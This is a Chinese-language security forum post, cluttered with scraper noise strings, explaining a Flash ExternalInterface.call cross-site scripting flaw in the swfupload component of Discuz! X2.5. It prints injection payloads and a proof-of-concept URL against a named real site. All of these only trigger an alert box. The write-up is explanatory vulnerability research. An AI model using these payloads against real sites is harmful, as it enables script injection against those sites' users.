上回我们说
# f( { l0 U5 K2 g" N3 T6 J5 D6 ^' _
3 m0 K" f, c, S) ]# Q2 U$ \* m. Qflash.external.ExternalInterface.call($methodName, $parameter)
5 A/ h2 f% h, q) `! r! v( F+ f在浏览器中执行的是
% R2 i2 m0 ^0 G* F5 J
6 s; O$ a1 I5 P( o+ atry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}' x0 J& Q2 C9 n
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
3 L; d6 b! i( h$ j. M$ p7 b4 Q, T @( S& C* g! l
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* F$ e& _$ s& z e, P! t! v$methodName = a())}catch(e){alert(/xss/)}//
( @# h R1 b( s3 V8 m3 P结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
5 c' g6 Y" A& @, Q* u5 W- A- Y9 H; [: c$ b5 b6 \0 q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }; ^8 j/ R6 m. }6 L9 z4 h
8 H; g9 b [" \, \- {7 w
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )7 X# W+ y* a( Z: j/ M5 n
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ u! K# {* |( b! k+ a! D) }% D) a6 ]" z/ l
6 h& x! v% S$ y& {, Q2 X$ l
4 l2 N/ Q" L$ N+ E( j
漏洞文件:upload\static\image\common\swfupload.swf1 K/ m$ r: m6 G. F6 k. g/ T
! C3 x5 P. p2 A/ A$ c8 [
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" R% E* G) Y3 q8 ]2 j2 R9 H% B5 I* o( A! X4 X1 h
* I" x) v( m0 n3 ^. n: i& V2 T; J漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' p; I/ @7 Q8 v6 M% _) I% Q, y4 f2 F
! X; V7 `. c; A
|